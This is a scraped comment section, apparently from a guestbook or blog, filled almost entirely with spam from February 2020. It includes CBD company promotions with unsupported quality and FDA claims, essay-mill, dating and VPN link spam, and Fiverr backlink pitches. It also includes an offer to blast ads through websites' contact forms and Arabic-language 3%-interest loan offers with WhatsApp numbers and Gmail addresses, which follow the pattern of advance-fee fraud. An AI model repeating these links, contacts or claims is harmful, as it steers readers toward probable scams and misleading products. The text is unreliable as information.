A Gift From Nature is a leader in the CBD industry. Located in Orlando, FL. A Gift From Nature has been formulating some of the highest quality CBD products in the market for the last three years. A Gift Form Nature is registered with the FDA and complies with good manufacturing practices. We currently produce 8 different brands with over 300 SKUs. We also provide raw material, White Label Services and Co packing. A Gift From Nature goes to great depths to source the highest quality natural ingredients for formulation. A Gift From Nature is really a seed-to-shelve company. All hemp extracts are sourced from extractors using American grown hemp. Every batch of extracts are vigorously third party tested for potency, terpenes, pesticides, bacteria, as well as residual solvents. A Gift From Nature believes in offering only the highest quality and cleanest products to our customers, so we solely rely on CO2 extraction, for its non-toxic characteristics. Websites include www.agiftfromanturecbd.com, www.totalvapedistro.com, www.royallcbd.com. Our instagram is @agiftfromnaturecbd https://lovetocbd.com/profile/billagfn

Timothy Valdez

Saturday, February 22, 2020

CannaBliss Finds Its Roots In Common Problems: Chronic Back Pain And Trouble Sleeping. When Founder Josh Smith, Found Himself Suffering From Both Issues, He Made The Choice To Research Natural Solutions. During His Search He Learned About The Benefits Of Full Spectrum Hemp Extract. Unfortunately, He Also Learned An Unpleasant Truth About The Full Spectrum Hemp Extract Industry: Its Products Rarely Work. Full Spectrum Hemp Extract Isn’t The Problem. The Problem Is An Industry That Is Largely Unregulated And Full Of Poorly Produced Products. After Trying Seven Of The Biggest Full Spectrum Hemp Extract Brands On The Market And Only Finding Relief From One, Josh Realized That There Was A Need. After Learning All This, Josh Decided To Do Something About It. And CannaBliss Was Born. His Mission? To Help People, By Creating The Most Pure, Organic And Bioavailable Full Spectrum Cannabinoid Products On The Market, All At A Price People Can Afford. This Mission Remains Josh's Promise To You. https://lovetocbd.com/profile/whitewidow252

Josette

Saturday, February 22, 2020

buy essay online reviews http://y2u5.ideaessay.com/ buy essay online reviews buy essay online reviews

Vernita

Friday, February 21, 2020

christian dating sites vancouver bc http://7khk.antennenservicespremberg.de/speed+dating+east+midlands.html christian dating sites vancouver bc no 1 dating site in usa

Sherita

Friday, February 21, 2020

vpn for mac http://freevpngold.com vpn for mac Free

Janet

Friday, February 21, 2020

vpn service http://yesfreevpn.com vpn service Vpn Service

Glenna Macredie

Thursday, February 20, 2020

Do you want to promote your advertisement on over 1000 ad sites monthly? Pay one low monthly fee and get virtually unlimited traffic to your site forever! Check out our site for details: http://www.highvolumeads.xyz

Tabatha

Thursday, February 20, 2020

buy essay online safe http://3b4c.pferdewaerts.de/ buy essay online safe buy essay online safe

Freddy

Thursday, February 20, 2020

best website to buy essay online http://bork.maikbargephotography.de/ best website to buy essay online legit essay writing service

البريد الإلكتروني: barrykane1212@gmail.com

Thursday, February 20, 2020

عند الأخذ بالنصائح في الأمور المالية ، تعد الثقة والتفاهم والسرية والتعاون أهم أربعة مبادئ يمكن أن تساعدك في تحقيق أهدافك المالية. تستند خدمات قروض مرفق البيئة العالمية إلى هذه المبادئ. إذا كنت ترغب في الاستفادة من برنامج قرض أسعار الفائدة بنسبة 3 ٪ ، يمكنك الاتصال بنا الآن. ال WhatsApp: +15186620307 البريد الإلكتروني: barrykane1212@gmail.com

Tangela Hershberger

Wednesday, February 19, 2020

Dear Friend! How are you? I write to introduce our best vape backlink service. We have big team of professionals from Pakistan, India and Bangladesh who work cheap and do good job with backlinks. You just look at my profile and place order now! https://www.fiverr.com/ritenjohn/write-500-vape-seo-content-with-100-vaping-backlinks

Adolfo Sleeman

Wednesday, February 19, 2020

Dear Friend . Hello from sunney India! I write you may be interest in CBD back-links. I have low price and my blogz Indian, I write in Hindi. I am best seller CBD back-links On FIVERR! You check my profile. Please write me asap and I do gud gud deal for you so it is cheiap and u get rezults. I waiting to heard from u. Pleaze order is here. If you have questiones kontact me now: https://www.fiverr.com/faisaljamal79/write-and-publish-hemp-oil-article-on-redstormscientific

Scarlett

Tuesday, February 18, 2020

best essay writing service in usa http://4y96.vinabi.de/ best essay writing service in usa writing a case study

Banco Safra

Tuesday, February 18, 2020

بانكو سفرا للخدمات المالية حاليا إعطاء قرض بمعدل فائدة 3 ٪. نحن نقدم مجموعة متنوعة من التمويل بما في ذلك: القروض الشخصية ، والقروض المنزلية ، وقروض توحيد الديون ، وقروض السيارات ، والقروض الزراعية ، والقروض التجارية وقروض الشركة بنسبة فائدة 3 ٪ سنويا ، ويتم إصلاحها. يرجى الاتصال بنا عبر البريد الإلكتروني: bancosafrafinancial@gmail.com أو WhatsApp +17654057552 لمزيد من المعلومات

Abby Wadham

Tuesday, February 18, 2020

Dear Friend! How are you? I write to introduce our best vape backlink service. We have big team of professionals from Pakistan, India and Bangladesh who work cheap and do good job with backlinks. You just look at my profile and place order now! https://www.fiverr.com/arshadzaidi1813/do-guest-post-on-my-vaping-website

m.2 pcie x4 slot

Tuesday, February 18, 2020

Hello, I enjoy reading through your post. I wanted to write a little comment to support you. https://insidewallstreet.org/roulette-is-enjoyable/

Jerrold Heimbach

Monday, February 17, 2020

Dear Friend . Hello from sunney India! I write you may be interest in CBD back-links. I have low price and my blogz Indian, I write in Hindi. I am best seller CBD back-links On FIVERR! You check my profile. Please write me asap and I do gud gud deal for you so it is cheiap and u get rezults. I waiting to heard from u. Pleaze order is here. If you have questiones kontact me now: https://www.fiverr.com/duenwaldd1/guest-post-your-cbd-article-on-a-cbd-news-site

Shannan Singletary

Monday, February 17, 2020

Dear Friend! How are you? I write to introduce our best vape backlink service. We have big team of professionals from Pakistan, India and Bangladesh who work cheap and do good job with backlinks. You just look at my profile and place order now! https://www.fiverr.com/webdeals24/give-your-ecig-vape-website-2-guest-posts-and-50-backlinks

Valentin

Monday, February 17, 2020

vpn http://goodvpnservices.com vpn Free VPN

Raymond De Bavay

Monday, February 17, 2020

Looking for effective online promotion that doesn't charge a fortune and gets amazing resuts? I apologize for sending you this message on your contact form but actually that was the whole point. We can send your ad copy to websites via their contact forms just like you're receiving this ad right now. You can specify targets by keyword or just fire off mass blasts to websites in the location of your choice. So let's assume you need to push through an ad to all the mortgage brokers in the USA, we'll grab websites for just those and post your advertisement to them. Providing you're promoting a product or service that's relevant to that business category then your business will get an awesome result! Send a quick note to poppy8542bro@gmail.com for the details

Sofia

Monday, February 17, 2020

free online dating sites in oman http://v9nv.lexjus.it/gay+dating+austin+texas-381.html free online dating sites in oman gay amputee dating

Alfonso

Monday, February 17, 2020

vpn for pc http://privatvpnservices.com vpn for pc Free VPN

IT Support Companies

Monday, February 17, 2020

In a nutshell : Algeria - dictators need western support - powerful foreign oil and gas companies can be bribed to offer that support. That should make it very clear :) It is up to the Algeria people to save themselves and their economy. https://www.lgnetworksinc.com/it-support/

Yolanda

Sunday, February 16, 2020

vpn service http://privatevpnformac.com vpn service Vpn Service